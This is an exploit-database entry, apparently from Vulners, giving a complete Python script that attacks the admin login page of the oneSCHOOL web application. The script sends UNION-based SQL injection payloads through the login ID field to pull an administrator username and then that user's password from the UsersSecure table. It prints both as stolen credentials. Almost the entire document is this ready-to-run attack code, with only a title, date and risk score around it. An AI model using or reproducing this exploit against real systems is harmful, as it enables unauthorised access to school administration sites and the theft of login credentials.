oneSCHOOL (all versions) admin/login.asp SQL Injection exploit

🗓️ 01 Jan 2008 00:00:00Reported by RootType
oneSCHOOL SQL Injection exploit targeting admin login for all versions using Python script.

                                                #!/usr/bin/python

#oneSCHOOL&nbsp;admin/login.asp&nbsp;SQL&nbsp;Injection&nbsp;explot&nbsp;(for&nbsp;all&nbsp;versions)
#by&nbsp;Guga360.

import&nbsp;urllib
from&nbsp;sys&nbsp;import&nbsp;argv

query&nbsp;=&nbsp;{'txtOperation':'Login','txtLoginID':&quot;&quot;&quot;
'&nbsp;union&nbsp;select&nbsp;min(LoginName),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;UsersSecure&nbsp;where&nbsp;LoginName&gt;'a'--&quot;&quot;&quot;,'txtPassword':'x','btnSubmit':'L+O+G+I+N+%3E%3E'}

queryx&nbsp;=&nbsp;urllib.urlencode(query)

if&nbsp;len(argv)&lt;&gt;2:
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&quot;&quot;
&nbsp;&nbsp;&nbsp;&nbsp;**********
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;Usage:
&nbsp;&nbsp;&nbsp;&nbsp;oneSCHOOLxpl.py&nbsp;[host]

&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;Exploiting...
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;User:&nbsp;admin
&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;Password:&nbsp;123
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;*******************
&nbsp;&nbsp;&nbsp;&nbsp;&quot;&quot;&quot;
else:
&nbsp;&nbsp;&nbsp;&nbsp;try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'\n[+]&nbsp;Exploting...\n'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host&nbsp;=&nbsp;argv[1]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;host[0:7]&lt;&gt;'http://':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host&nbsp;=&nbsp;'http://'+host
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;urllib.urlopen(host+'/admin/login.asp',&nbsp;queryx)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;url.read()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;url.split()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;url.index('varchar')+2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;url[name]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;name.replace(&quot;'&quot;,&quot;&quot;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'[+]&nbsp;User:&nbsp;'&nbsp;+&nbsp;name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query2&nbsp;=&nbsp;query.copy()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query2['txtLoginID']=&quot;&quot;&quot;'&nbsp;union&nbsp;select&nbsp;min(Password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&nbsp;from&nbsp;UsersSecure&nbsp;where&nbsp;LoginName='&quot;&quot;&quot;+name+&quot;&quot;&quot;'--&quot;&quot;&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query2&nbsp;=&nbsp;urllib.urlencode(query2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;urllib.urlopen(host+'/admin/login.asp',&nbsp;query2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;url.read()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url&nbsp;=&nbsp;url.split()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;passw&nbsp;=&nbsp;url.index('varchar')+2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;passw&nbsp;=&nbsp;url[passw]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;passw&nbsp;=&nbsp;passw.replace(&quot;'&quot;,&quot;&quot;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'[+]&nbsp;Pass:&nbsp;'+passw
&nbsp;&nbsp;&nbsp;&nbsp;except:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'[+]&nbsp;Not&nbsp;vulnerable!'
01 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1